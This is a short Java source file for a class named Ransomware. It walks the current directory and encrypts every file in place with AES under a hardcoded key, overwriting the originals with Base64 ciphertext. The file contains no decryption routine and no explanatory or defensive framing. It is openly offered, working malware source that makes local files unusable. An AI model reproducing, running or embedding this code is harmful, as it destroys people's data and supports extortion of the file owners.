
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.nio.file.*;
import java.util.Base64;

public class Ransomware {
    private static final String key = "98HQpV9yFzDUPPhW";

    public static void main(String[] args) {
        File dir = new File(".");
        File[] files = dir.listFiles();
        if (files != null) {
            for (File file : files) {
                if (file.isFile()) {
                    encryptFile(file);
                }
            }
        }
    }

    public static void encryptFile(File file) {
        try {
            SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES");
            Cipher cipher = Cipher.getInstance("AES");
            cipher.init(Cipher.ENCRYPT_MODE, secretKey);
            byte[] fileContent = Files.readAllBytes(file.toPath());
            byte[] encryptedContent = cipher.doFinal(fileContent);
            String encryptedString = Base64.getEncoder().encodeToString(encryptedContent);
            Files.write(file.toPath(), encryptedString.getBytes());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
